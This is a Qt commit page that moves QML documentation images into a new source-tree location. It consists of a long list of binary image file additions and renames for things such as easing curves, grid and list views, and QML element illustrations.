diff options
| author | Jerome Pasion <jerome.pasion@nokia.com> | 2012-05-08 09:43:20 +0200 |
|---|---|---|
| committer | Qt by Nokia <qt-info@nokia.com> | 2012-05-09 00:56:16 +0200 |
| commit | 2c4c7a38aa59e4b9970abd6456df99d597b3c45a (patch) | |
| tree | e725f1e92cfd6f91be72c0d27960b0048fd08831 | |
| parent | 029e510256a1a6ea8f30db75fa0745cad01353cb (diff) | |
Doc: Moving QML docs for new doc structure
Change-Id: Id51e2cf10e8b5c5559bc4a375cb2db46c40bdf0a
Reviewed-by: Alan Alpert <alan.alpert@nokia.com>
377 files changed, 15537 insertions, 29 deletions
diff --git a/src/qml/doc/images/3d-rotation-axis.png b/src/qml/doc/images/3d-rotation-axis.png Binary files differnew file mode 100644 index 0000000000..b9402156f0 --- /dev/null +++ b/src/qml/doc/images/3d-rotation-axis.png diff --git a/src/qml/doc/images/ListViewHorizontal.png b/src/qml/doc/images/ListViewHorizontal.png Binary files differnew file mode 100644 index 0000000000..4633a0e151 --- /dev/null +++ b/src/qml/doc/images/ListViewHorizontal.png diff --git a/doc/src/images/anatomy-component.png b/src/qml/doc/images/anatomy-component.png Binary files differindex 6125b0091c..6125b0091c 100644 --- a/doc/src/images/anatomy-component.png +++ b/src/qml/doc/images/anatomy-component.png diff --git a/src/qml/doc/images/anchorchanges.png b/src/qml/doc/images/anchorchanges.png Binary files differnew file mode 100644 index 0000000000..4973e4e9aa --- /dev/null +++ b/src/qml/doc/images/anchorchanges.png diff --git a/src/qml/doc/images/animatedimageitem.gif b/src/qml/doc/images/animatedimageitem.gif Binary files differnew file mode 100644 index 0000000000..85c3cb5609 --- /dev/null +++ b/src/qml/doc/images/animatedimageitem.gif diff --git a/src/qml/doc/images/axisrotation.png b/src/qml/doc/images/axisrotation.png Binary files differnew file mode 100644 index 0000000000..4cddcdfcaf --- /dev/null +++ b/src/qml/doc/images/axisrotation.png diff --git a/src/qml/doc/images/declarative-anchors_example.png b/src/qml/doc/images/declarative-anchors_example.png Binary files differnew file mode 100644 index 0000000000..293cd4b362 --- /dev/null +++ b/src/qml/doc/images/declarative-anchors_example.png diff --git a/src/qml/doc/images/declarative-anchors_example2.png b/src/qml/doc/images/declarative-anchors_example2.png Binary files differnew file mode 100644 index 0000000000..6d3be7d05d --- /dev/null +++ b/src/qml/doc/images/declarative-anchors_example2.png diff --git a/src/qml/doc/images/declarative-arcdirection.png b/src/qml/doc/images/declarative-arcdirection.png Binary files differnew file mode 100644 index 0000000000..28f4dc2e51 --- /dev/null +++ b/src/qml/doc/images/declarative-arcdirection.png diff --git a/src/qml/doc/images/declarative-arcradius.png b/src/qml/doc/images/declarative-arcradius.png Binary files differnew file mode 100644 index 0000000000..9b25a9f3f8 --- /dev/null +++ b/src/qml/doc/images/declarative-arcradius.png diff --git a/doc/src/images/declarative-colors.png b/src/qml/doc/images/declarative-colors.png Binary files differindex f2eacd889b..f2eacd889b 100644 --- a/doc/src/images/declarative-colors.png +++ b/src/qml/doc/images/declarative-colors.png diff --git a/src/qml/doc/images/declarative-gridmesh.png b/src/qml/doc/images/declarative-gridmesh.png Binary files differnew file mode 100644 index 0000000000..6007d3b9e3 --- /dev/null +++ b/src/qml/doc/images/declarative-gridmesh.png diff --git a/src/qml/doc/images/declarative-item_opacity1.png b/src/qml/doc/images/declarative-item_opacity1.png Binary files differnew file mode 100644 index 0000000000..cde973be8d --- /dev/null +++ b/src/qml/doc/images/declarative-item_opacity1.png diff --git a/src/qml/doc/images/declarative-item_opacity2.png b/src/qml/doc/images/declarative-item_opacity2.png Binary files differnew file mode 100644 index 0000000000..8627360717 --- /dev/null +++ b/src/qml/doc/images/declarative-item_opacity2.png diff --git a/src/qml/doc/images/declarative-item_stacking1.png b/src/qml/doc/images/declarative-item_stacking1.png Binary files differnew file mode 100644 index 0000000000..18f41484e5 --- /dev/null +++ b/src/qml/doc/images/declarative-item_stacking1.png diff --git a/src/qml/doc/images/declarative-item_stacking2.png b/src/qml/doc/images/declarative-item_stacking2.png Binary files differnew file mode 100644 index 0000000000..7a71bcd36d --- /dev/null +++ b/src/qml/doc/images/declarative-item_stacking2.png diff --git a/src/qml/doc/images/declarative-item_stacking3.png b/src/qml/doc/images/declarative-item_stacking3.png Binary files differnew file mode 100644 index 0000000000..cde973be8d --- /dev/null +++ b/src/qml/doc/images/declarative-item_stacking3.png diff --git a/src/qml/doc/images/declarative-item_stacking4.png b/src/qml/doc/images/declarative-item_stacking4.png Binary files differnew file mode 100644 index 0000000000..3fdf627f1a --- /dev/null +++ b/src/qml/doc/images/declarative-item_stacking4.png diff --git a/src/qml/doc/images/declarative-largearc.png b/src/qml/doc/images/declarative-largearc.png Binary files differnew file mode 100644 index 0000000000..9bb94b362e --- /dev/null +++ b/src/qml/doc/images/declarative-largearc.png diff --git a/src/qml/doc/images/declarative-nopercent.png b/src/qml/doc/images/declarative-nopercent.png Binary files differnew file mode 100644 index 0000000000..28b00a91e7 --- /dev/null +++ b/src/qml/doc/images/declarative-nopercent.png diff --git a/src/qml/doc/images/declarative-patharc.png b/src/qml/doc/images/declarative-patharc.png Binary files differnew file mode 100644 index 0000000000..81c9b803e5 --- /dev/null +++ b/src/qml/doc/images/declarative-patharc.png diff --git a/src/qml/doc/images/declarative-pathattribute.png b/src/qml/doc/images/declarative-pathattribute.png Binary files differnew file mode 100644 index 0000000000..57cd049e04 --- /dev/null +++ b/src/qml/doc/images/declarative-pathattribute.png diff --git a/src/qml/doc/images/declarative-pathcubic.png b/src/qml/doc/images/declarative-pathcubic.png Binary files differnew file mode 100644 index 0000000000..ffbca5d91e --- /dev/null +++ b/src/qml/doc/images/declarative-pathcubic.png diff --git a/src/qml/doc/images/declarative-pathcurve.png b/src/qml/doc/images/declarative-pathcurve.png Binary files differnew file mode 100644 index 0000000000..c585cff0f0 --- /dev/null +++ b/src/qml/doc/images/declarative-pathcurve.png diff --git a/src/qml/doc/images/declarative-pathquad.png b/src/qml/doc/images/declarative-pathquad.png Binary files differnew file mode 100644 index 0000000000..65f199974f --- /dev/null +++ b/src/qml/doc/images/declarative-pathquad.png diff --git a/src/qml/doc/images/declarative-pathsvg.png b/src/qml/doc/images/declarative-pathsvg.png Binary files differnew file mode 100644 index 0000000000..949149e722 --- /dev/null +++ b/src/qml/doc/images/declarative-pathsvg.png diff --git a/src/qml/doc/images/declarative-percent.png b/src/qml/doc/images/declarative-percent.png Binary files differnew file mode 100644 index 0000000000..c277055299 --- /dev/null +++ b/src/qml/doc/images/declarative-percent.png diff --git a/src/qml/doc/images/declarative-qtlogo-preserveaspectcrop.png b/src/qml/doc/images/declarative-qtlogo-preserveaspectcrop.png Binary files differnew file mode 100644 index 0000000000..64fb086fac --- /dev/null +++ b/src/qml/doc/images/declarative-qtlogo-preserveaspectcrop.png diff --git a/src/qml/doc/images/declarative-qtlogo-preserveaspectfit.png b/src/qml/doc/images/declarative-qtlogo-preserveaspectfit.png Binary files differnew file mode 100644 index 0000000000..2585fa5f5f --- /dev/null +++ b/src/qml/doc/images/declarative-qtlogo-preserveaspectfit.png diff --git a/src/qml/doc/images/declarative-qtlogo-stretch.png b/src/qml/doc/images/declarative-qtlogo-stretch.png Binary files differnew file mode 100644 index 0000000000..32a0114e4e --- /dev/null +++ b/src/qml/doc/images/declarative-qtlogo-stretch.png diff --git a/src/qml/doc/images/declarative-qtlogo-tile.png b/src/qml/doc/images/declarative-qtlogo-tile.png Binary files differnew file mode 100644 index 0000000000..7d1b9d0485 --- /dev/null +++ b/src/qml/doc/images/declarative-qtlogo-tile.png diff --git a/src/qml/doc/images/declarative-qtlogo-tilehorizontally.png b/src/qml/doc/images/declarative-qtlogo-tilehorizontally.png Binary files differnew file mode 100644 index 0000000000..367a8c7d0b --- /dev/null +++ b/src/qml/doc/images/declarative-qtlogo-tilehorizontally.png diff --git a/src/qml/doc/images/declarative-qtlogo-tilevertically.png b/src/qml/doc/images/declarative-qtlogo-tilevertically.png Binary files differnew file mode 100644 index 0000000000..68afafa8c3 --- /dev/null +++ b/src/qml/doc/images/declarative-qtlogo-tilevertically.png diff --git a/src/qml/doc/images/declarative-qtlogo.png b/src/qml/doc/images/declarative-qtlogo.png Binary files differnew file mode 100644 index 0000000000..940d159ae4 --- /dev/null +++ b/src/qml/doc/images/declarative-qtlogo.png diff --git a/src/qml/doc/images/declarative-rect.png b/src/qml/doc/images/declarative-rect.png Binary files differnew file mode 100644 index 0000000000..173759ae57 --- /dev/null +++ b/src/qml/doc/images/declarative-rect.png diff --git a/src/qml/doc/images/declarative-rect_gradient.png b/src/qml/doc/images/declarative-rect_gradient.png Binary files differnew file mode 100644 index 0000000000..f79d579bec --- /dev/null +++ b/src/qml/doc/images/declarative-rect_gradient.png diff --git a/doc/src/images/declarative-rect_tint.png b/src/qml/doc/images/declarative-rect_tint.png Binary files differindex 3a440137bd..3a440137bd 100644 --- a/doc/src/images/declarative-rect_tint.png +++ b/src/qml/doc/images/declarative-rect_tint.png diff --git a/src/qml/doc/images/declarative-rotation.png b/src/qml/doc/images/declarative-rotation.png Binary files differnew file mode 100644 index 0000000000..b4031f5ae2 --- /dev/null +++ b/src/qml/doc/images/declarative-rotation.png diff --git a/src/qml/doc/images/declarative-scale.png b/src/qml/doc/images/declarative-scale.png Binary files differnew file mode 100644 index 0000000000..bab729e216 --- /dev/null +++ b/src/qml/doc/images/declarative-scale.png diff --git a/src/qml/doc/images/declarative-scalegrid.png b/src/qml/doc/images/declarative-scalegrid.png Binary files differnew file mode 100644 index 0000000000..32d8712568 --- /dev/null +++ b/src/qml/doc/images/declarative-scalegrid.png diff --git a/src/qml/doc/images/declarative-shadereffectitem.png b/src/qml/doc/images/declarative-shadereffectitem.png Binary files differnew file mode 100644 index 0000000000..2c8e8447e7 --- /dev/null +++ b/src/qml/doc/images/declarative-shadereffectitem.png diff --git a/src/qml/doc/images/declarative-shadereffectsource.png b/src/qml/doc/images/declarative-shadereffectsource.png Binary files differnew file mode 100644 index 0000000000..86d6d1ea35 --- /dev/null +++ b/src/qml/doc/images/declarative-shadereffectsource.png diff --git a/src/qml/doc/images/declarative-text.png b/src/qml/doc/images/declarative-text.png Binary files differnew file mode 100644 index 0000000000..c1a4112500 --- /dev/null +++ b/src/qml/doc/images/declarative-text.png diff --git a/src/qml/doc/images/declarative-textedit.gif b/src/qml/doc/images/declarative-textedit.gif Binary files differnew file mode 100644 index 0000000000..7186eb9f4f --- /dev/null +++ b/src/qml/doc/images/declarative-textedit.gif diff --git a/src/qml/doc/images/declarative-textformat.png b/src/qml/doc/images/declarative-textformat.png Binary files differnew file mode 100644 index 0000000000..ade1b45429 --- /dev/null +++ b/src/qml/doc/images/declarative-textformat.png diff --git a/src/qml/doc/images/declarative-textstyle.png b/src/qml/doc/images/declarative-textstyle.png Binary files differnew file mode 100644 index 0000000000..858c1bcbff --- /dev/null +++ b/src/qml/doc/images/declarative-textstyle.png diff --git a/src/qml/doc/images/declarative-transformorigin.png b/src/qml/doc/images/declarative-transformorigin.png Binary files differnew file mode 100644 index 0000000000..4af320fbc5 --- /dev/null +++ b/src/qml/doc/images/declarative-transformorigin.png diff --git a/doc/src/images/extending-tutorial-chapter1.png b/src/qml/doc/images/extending-tutorial-chapter1.png Binary files differindex 9f5836b09c..9f5836b09c 100644 --- a/doc/src/images/extending-tutorial-chapter1.png +++ b/src/qml/doc/images/extending-tutorial-chapter1.png diff --git a/doc/src/images/extending-tutorial-chapter2.png b/src/qml/doc/images/extending-tutorial-chapter2.png Binary files differindex 5c8f222aad..5c8f222aad 100644 --- a/doc/src/images/extending-tutorial-chapter2.png +++ b/src/qml/doc/images/extending-tutorial-chapter2.png diff --git a/doc/src/images/extending-tutorial-chapter3.png b/src/qml/doc/images/extending-tutorial-chapter3.png Binary files differindex 825553fc5f..825553fc5f 100644 --- a/doc/src/images/extending-tutorial-chapter3.png +++ b/src/qml/doc/images/extending-tutorial-chapter3.png diff --git a/doc/src/images/extending-tutorial-chapter5.png b/src/qml/doc/images/extending-tutorial-chapter5.png Binary files differindex 0c2e69e1b4..0c2e69e1b4 100644 --- a/doc/src/images/extending-tutorial-chapter5.png +++ b/src/qml/doc/images/extending-tutorial-chapter5.png diff --git a/src/qml/doc/images/flickable.gif b/src/qml/doc/images/flickable.gif Binary files differnew file mode 100644 index 0000000000..f7a3319496 --- /dev/null +++ b/src/qml/doc/images/flickable.gif diff --git a/src/qml/doc/images/flipable.gif b/src/qml/doc/images/flipable.gif Binary files differnew file mode 100644 index 0000000000..fd187906bb --- /dev/null +++ b/src/qml/doc/images/flipable.gif diff --git a/src/qml/doc/images/gridLayout_example.png b/src/qml/doc/images/gridLayout_example.png Binary files differnew file mode 100644 index 0000000000..6b120e9639 --- /dev/null +++ b/src/qml/doc/images/gridLayout_example.png diff --git a/src/qml/doc/images/gridview-highlight.png b/src/qml/doc/images/gridview-highlight.png Binary files differnew file mode 100644 index 0000000000..b54af37f93 --- /dev/null +++ b/src/qml/doc/images/gridview-highlight.png diff --git a/src/qml/doc/images/gridview-layout-lefttoright-ltr-btt.png b/src/qml/doc/images/gridview-layout-lefttoright-ltr-btt.png Binary files differnew file mode 100644 index 0000000000..4439f8370a --- /dev/null +++ b/src/qml/doc/images/gridview-layout-lefttoright-ltr-btt.png diff --git a/src/qml/doc/images/gridview-layout-lefttoright-ltr-ttb.png b/src/qml/doc/images/gridview-layout-lefttoright-ltr-ttb.png Binary files differnew file mode 100644 index 0000000000..af745b7d1e --- /dev/null +++ b/src/qml/doc/images/gridview-layout-lefttoright-ltr-ttb.png diff --git a/src/qml/doc/images/gridview-layout-lefttoright-rtl-btt.png b/src/qml/doc/images/gridview-layout-lefttoright-rtl-btt.png Binary files differnew file mode 100644 index 0000000000..bc7e568972 --- /dev/null +++ b/src/qml/doc/images/gridview-layout-lefttoright-rtl-btt.png diff --git a/src/qml/doc/images/gridview-layout-lefttoright-rtl-ttb.png b/src/qml/doc/images/gridview-layout-lefttoright-rtl-ttb.png Binary files differnew file mode 100644 index 0000000000..3ebf74fae5 --- /dev/null +++ b/src/qml/doc/images/gridview-layout-lefttoright-rtl-ttb.png diff --git a/src/qml/doc/images/gridview-layout-toptobottom-ltr-btt.png b/src/qml/doc/images/gridview-layout-toptobottom-ltr-btt.png Binary files differnew file mode 100644 index 0000000000..b60ab4b5e7 --- /dev/null +++ b/src/qml/doc/images/gridview-layout-toptobottom-ltr-btt.png diff --git a/src/qml/doc/images/gridview-layout-toptobottom-ltr-ttb.png b/src/qml/doc/images/gridview-layout-toptobottom-ltr-ttb.png Binary files differnew file mode 100644 index 0000000000..9078cbde6f --- /dev/null +++ b/src/qml/doc/images/gridview-layout-toptobottom-ltr-ttb.png diff --git a/src/qml/doc/images/gridview-layout-toptobottom-rtl-btt.png b/src/qml/doc/images/gridview-layout-toptobottom-rtl-btt.png Binary files differnew file mode 100644 index 0000000000..0d0f095598 --- /dev/null +++ b/src/qml/doc/images/gridview-layout-toptobottom-rtl-btt.png diff --git a/src/qml/doc/images/gridview-layout-toptobottom-rtl-ttb.png b/src/qml/doc/images/gridview-layout-toptobottom-rtl-ttb.png Binary files differnew file mode 100644 index 0000000000..c1c353a4da --- /dev/null +++ b/src/qml/doc/images/gridview-layout-toptobottom-rtl-ttb.png diff --git a/src/qml/doc/images/gridview-simple.png b/src/qml/doc/images/gridview-simple.png Binary files differnew file mode 100644 index 0000000000..a102939f2b --- /dev/null +++ b/src/qml/doc/images/gridview-simple.png diff --git a/src/qml/doc/images/horizontalpositioner_example.png b/src/qml/doc/images/horizontalpositioner_example.png Binary files differnew file mode 100644 index 0000000000..42f90ec7ae --- /dev/null +++ b/src/qml/doc/images/horizontalpositioner_example.png diff --git a/src/qml/doc/images/imageprovider.png b/src/qml/doc/images/imageprovider.png Binary files differnew file mode 100644 index 0000000000..422103cb07 --- /dev/null +++ b/src/qml/doc/images/imageprovider.png diff --git a/src/qml/doc/images/layoutmirroring.png b/src/qml/doc/images/layoutmirroring.png Binary files differnew file mode 100644 index 0000000000..df90ac4f9a --- /dev/null +++ b/src/qml/doc/images/layoutmirroring.png diff --git a/doc/src/images/listmodel-nested.png b/src/qml/doc/images/listmodel-nested.png Binary files differindex ee7ffba67a..ee7ffba67a 100644 --- a/doc/src/images/listmodel-nested.png +++ b/src/qml/doc/images/listmodel-nested.png diff --git a/doc/src/images/listmodel.png b/src/qml/doc/images/listmodel.png Binary files differindex 7ab1771f15..7ab1771f15 100644 --- a/doc/src/images/listmodel.png +++ b/src/qml/doc/images/listmodel.png diff --git a/src/qml/doc/images/listview-highlight.png b/src/qml/doc/images/listview-highlight.png Binary files differnew file mode 100644 index 0000000000..dc5c6b3b57 --- /dev/null +++ b/src/qml/doc/images/listview-highlight.png diff --git a/src/qml/doc/images/listview-layout-bottomtotop.png b/src/qml/doc/images/listview-layout-bottomtotop.png Binary files differnew file mode 100644 index 0000000000..980f81d07f --- /dev/null +++ b/src/qml/doc/images/listview-layout-bottomtotop.png diff --git a/src/qml/doc/images/listview-layout-lefttoright.png b/src/qml/doc/images/listview-layout-lefttoright.png Binary files differnew file mode 100644 index 0000000000..2ee0e4c4ff --- /dev/null +++ b/src/qml/doc/images/listview-layout-lefttoright.png diff --git a/src/qml/doc/images/listview-layout-righttoleft.png b/src/qml/doc/images/listview-layout-righttoleft.png Binary files differnew file mode 100644 index 0000000000..2c54a2a7b1 --- /dev/null +++ b/src/qml/doc/images/listview-layout-righttoleft.png diff --git a/src/qml/doc/images/listview-layout-toptobottom.png b/src/qml/doc/images/listview-layout-toptobottom.png Binary files differnew file mode 100644 index 0000000000..2054a5743b --- /dev/null +++ b/src/qml/doc/images/listview-layout-toptobottom.png diff --git a/src/qml/doc/images/listview-simple.png b/src/qml/doc/images/listview-simple.png Binary files differnew file mode 100644 index 0000000000..71a1c5172f --- /dev/null +++ b/src/qml/doc/images/listview-simple.png diff --git a/src/qml/doc/images/parentchange.png b/src/qml/doc/images/parentchange.png Binary files differnew file mode 100644 index 0000000000..93206fbbb2 --- /dev/null +++ b/src/qml/doc/images/parentchange.png diff --git a/src/qml/doc/images/pathview.gif b/src/qml/doc/images/pathview.gif Binary files differnew file mode 100644 index 0000000000..4052eb264b --- /dev/null +++ b/src/qml/doc/images/pathview.gif diff --git a/src/qml/doc/images/positioner-example.png b/src/qml/doc/images/positioner-example.png Binary files differnew file mode 100644 index 0000000000..636eeb7a13 --- /dev/null +++ b/src/qml/doc/images/positioner-example.png diff --git a/src/qml/doc/images/qeasingcurve-inback.png b/src/qml/doc/images/qeasingcurve-inback.png Binary files differnew file mode 100644 index 0000000000..0064cb341c --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inback.png diff --git a/src/qml/doc/images/qeasingcurve-inbounce.png b/src/qml/doc/images/qeasingcurve-inbounce.png Binary files differnew file mode 100644 index 0000000000..eaa64f8c41 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inbounce.png diff --git a/src/qml/doc/images/qeasingcurve-incirc.png b/src/qml/doc/images/qeasingcurve-incirc.png Binary files differnew file mode 100644 index 0000000000..7bd0f09d41 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-incirc.png diff --git a/src/qml/doc/images/qeasingcurve-incubic.png b/src/qml/doc/images/qeasingcurve-incubic.png Binary files differnew file mode 100644 index 0000000000..1ac9eafba5 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-incubic.png diff --git a/src/qml/doc/images/qeasingcurve-inelastic.png b/src/qml/doc/images/qeasingcurve-inelastic.png Binary files differnew file mode 100644 index 0000000000..f976b5a576 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inelastic.png diff --git a/src/qml/doc/images/qeasingcurve-inexpo.png b/src/qml/doc/images/qeasingcurve-inexpo.png Binary files differnew file mode 100644 index 0000000000..1af3652985 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inexpo.png diff --git a/src/qml/doc/images/qeasingcurve-inoutback.png b/src/qml/doc/images/qeasingcurve-inoutback.png Binary files differnew file mode 100644 index 0000000000..480bc051ef --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inoutback.png diff --git a/src/qml/doc/images/qeasingcurve-inoutbounce.png b/src/qml/doc/images/qeasingcurve-inoutbounce.png Binary files differnew file mode 100644 index 0000000000..de623091cf --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inoutbounce.png diff --git a/src/qml/doc/images/qeasingcurve-inoutcirc.png b/src/qml/doc/images/qeasingcurve-inoutcirc.png Binary files differnew file mode 100644 index 0000000000..b4be8ac21e --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inoutcirc.png diff --git a/src/qml/doc/images/qeasingcurve-inoutcubic.png b/src/qml/doc/images/qeasingcurve-inoutcubic.png Binary files differnew file mode 100644 index 0000000000..49dfbef1b6 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inoutcubic.png diff --git a/src/qml/doc/images/qeasingcurve-inoutelastic.png b/src/qml/doc/images/qeasingcurve-inoutelastic.png Binary files differnew file mode 100644 index 0000000000..5b0e54a019 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inoutelastic.png diff --git a/src/qml/doc/images/qeasingcurve-inoutexpo.png b/src/qml/doc/images/qeasingcurve-inoutexpo.png Binary files differnew file mode 100644 index 0000000000..776984a113 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inoutexpo.png diff --git a/src/qml/doc/images/qeasingcurve-inoutquad.png b/src/qml/doc/images/qeasingcurve-inoutquad.png Binary files differnew file mode 100644 index 0000000000..264333085a --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inoutquad.png diff --git a/src/qml/doc/images/qeasingcurve-inoutquart.png b/src/qml/doc/images/qeasingcurve-inoutquart.png Binary files differnew file mode 100644 index 0000000000..31fc0c8852 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inoutquart.png diff --git a/src/qml/doc/images/qeasingcurve-inoutquint.png b/src/qml/doc/images/qeasingcurve-inoutquint.png Binary files differnew file mode 100644 index 0000000000..4d7a745be6 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inoutquint.png diff --git a/src/qml/doc/images/qeasingcurve-inoutsine.png b/src/qml/doc/images/qeasingcurve-inoutsine.png Binary files differnew file mode 100644 index 0000000000..012ff751c9 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inoutsine.png diff --git a/src/qml/doc/images/qeasingcurve-inquad.png b/src/qml/doc/images/qeasingcurve-inquad.png Binary files differnew file mode 100644 index 0000000000..e697c208a5 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inquad.png diff --git a/src/qml/doc/images/qeasingcurve-inquart.png b/src/qml/doc/images/qeasingcurve-inquart.png Binary files differnew file mode 100644 index 0000000000..6d6517551e --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inquart.png diff --git a/src/qml/doc/images/qeasingcurve-inquint.png b/src/qml/doc/images/qeasingcurve-inquint.png Binary files differnew file mode 100644 index 0000000000..faaaea71fd --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-inquint.png diff --git a/src/qml/doc/images/qeasingcurve-insine.png b/src/qml/doc/images/qeasingcurve-insine.png Binary files differnew file mode 100644 index 0000000000..09449034b5 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-insine.png diff --git a/src/qml/doc/images/qeasingcurve-linear.png b/src/qml/doc/images/qeasingcurve-linear.png Binary files differnew file mode 100644 index 0000000000..fb3aaf3541 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-linear.png diff --git a/src/qml/doc/images/qeasingcurve-outback.png b/src/qml/doc/images/qeasingcurve-outback.png Binary files differnew file mode 100644 index 0000000000..83b3fa233f --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outback.png diff --git a/src/qml/doc/images/qeasingcurve-outbounce.png b/src/qml/doc/images/qeasingcurve-outbounce.png Binary files differnew file mode 100644 index 0000000000..27ac979642 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outbounce.png diff --git a/src/qml/doc/images/qeasingcurve-outcirc.png b/src/qml/doc/images/qeasingcurve-outcirc.png Binary files differnew file mode 100644 index 0000000000..00193700e0 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outcirc.png diff --git a/src/qml/doc/images/qeasingcurve-outcubic.png b/src/qml/doc/images/qeasingcurve-outcubic.png Binary files differnew file mode 100644 index 0000000000..45477c045a --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outcubic.png diff --git a/src/qml/doc/images/qeasingcurve-outelastic.png b/src/qml/doc/images/qeasingcurve-outelastic.png Binary files differnew file mode 100644 index 0000000000..1d407ed845 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outelastic.png diff --git a/src/qml/doc/images/qeasingcurve-outexpo.png b/src/qml/doc/images/qeasingcurve-outexpo.png Binary files differnew file mode 100644 index 0000000000..56851554ed --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outexpo.png diff --git a/src/qml/doc/images/qeasingcurve-outinback.png b/src/qml/doc/images/qeasingcurve-outinback.png Binary files differnew file mode 100644 index 0000000000..4700ab02e8 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outinback.png diff --git a/src/qml/doc/images/qeasingcurve-outinbounce.png b/src/qml/doc/images/qeasingcurve-outinbounce.png Binary files differnew file mode 100644 index 0000000000..12cc1a8bd4 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outinbounce.png diff --git a/src/qml/doc/images/qeasingcurve-outincirc.png b/src/qml/doc/images/qeasingcurve-outincirc.png Binary files differnew file mode 100644 index 0000000000..c8a5c86a23 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outincirc.png diff --git a/src/qml/doc/images/qeasingcurve-outincubic.png b/src/qml/doc/images/qeasingcurve-outincubic.png Binary files differnew file mode 100644 index 0000000000..42af870d99 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outincubic.png diff --git a/src/qml/doc/images/qeasingcurve-outinelastic.png b/src/qml/doc/images/qeasingcurve-outinelastic.png Binary files differnew file mode 100644 index 0000000000..308be57900 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outinelastic.png diff --git a/src/qml/doc/images/qeasingcurve-outinexpo.png b/src/qml/doc/images/qeasingcurve-outinexpo.png Binary files differnew file mode 100644 index 0000000000..0692baa264 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outinexpo.png diff --git a/src/qml/doc/images/qeasingcurve-outinquad.png b/src/qml/doc/images/qeasingcurve-outinquad.png Binary files differnew file mode 100644 index 0000000000..9e3cd83896 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outinquad.png diff --git a/src/qml/doc/images/qeasingcurve-outinquart.png b/src/qml/doc/images/qeasingcurve-outinquart.png Binary files differnew file mode 100644 index 0000000000..9a3c16f122 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outinquart.png diff --git a/src/qml/doc/images/qeasingcurve-outinquint.png b/src/qml/doc/images/qeasingcurve-outinquint.png Binary files differnew file mode 100644 index 0000000000..add9feb26f --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outinquint.png diff --git a/src/qml/doc/images/qeasingcurve-outinsine.png b/src/qml/doc/images/qeasingcurve-outinsine.png Binary files differnew file mode 100644 index 0000000000..4bc2aaf9e3 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outinsine.png diff --git a/src/qml/doc/images/qeasingcurve-outquad.png b/src/qml/doc/images/qeasingcurve-outquad.png Binary files differnew file mode 100644 index 0000000000..c505ff9e7b --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outquad.png diff --git a/src/qml/doc/images/qeasingcurve-outquart.png b/src/qml/doc/images/qeasingcurve-outquart.png Binary files differnew file mode 100644 index 0000000000..6eac058d18 --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outquart.png diff --git a/src/qml/doc/images/qeasingcurve-outquint.png b/src/qml/doc/images/qeasingcurve-outquint.png Binary files differnew file mode 100644 index 0000000000..77a9ad417f --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outquint.png diff --git a/src/qml/doc/images/qeasingcurve-outsine.png b/src/qml/doc/images/qeasingcurve-outsine.png Binary files differnew file mode 100644 index 0000000000..d135b2f98c --- /dev/null +++ b/src/qml/doc/images/qeasingcurve-outsine.png diff --git a/src/qml/doc/images/qml-borderimage-normal-image.png b/src/qml/doc/images/qml-borderimage-normal-image.png Binary files differnew file mode 100644 index 0000000000..ae7460a7d7 --- /dev/null +++ b/src/qml/doc/images/qml-borderimage-normal-image.png diff --git a/src/qml/doc/images/qml-borderimage-scaled.png b/src/qml/doc/images/qml-borderimage-scaled.png Binary files differnew file mode 100644 index 0000000000..8035c79f37 --- /dev/null +++ b/src/qml/doc/images/qml-borderimage-scaled.png diff --git a/src/qml/doc/images/qml-borderimage-tiled.png b/src/qml/doc/images/qml-borderimage-tiled.png Binary files differnew file mode 100644 index 0000000000..14883d0dd6 --- /dev/null +++ b/src/qml/doc/images/qml-borderimage-tiled.png diff --git a/src/qml/doc/images/qml-flow-snippet.png b/src/qml/doc/images/qml-flow-snippet.png Binary files differnew file mode 100644 index 0000000000..af873d1b4f --- /dev/null +++ b/src/qml/doc/images/qml-flow-snippet.png diff --git a/src/qml/doc/images/qml-gradient.png b/src/qml/doc/images/qml-gradient.png Binary files differnew file mode 100644 index 0000000000..5eefdd2031 --- /dev/null +++ b/src/qml/doc/images/qml-gradient.png diff --git a/src/qml/doc/images/qml-grid-no-spacing.png b/src/qml/doc/images/qml-grid-no-spacing.png Binary files differnew file mode 100644 index 0000000000..c2092e0bf9 --- /dev/null +++ b/src/qml/doc/images/qml-grid-no-spacing.png diff --git a/src/qml/doc/images/qml-grid-spacing.png b/src/qml/doc/images/qml-grid-spacing.png Binary files differnew file mode 100644 index 0000000000..1083bee59f --- 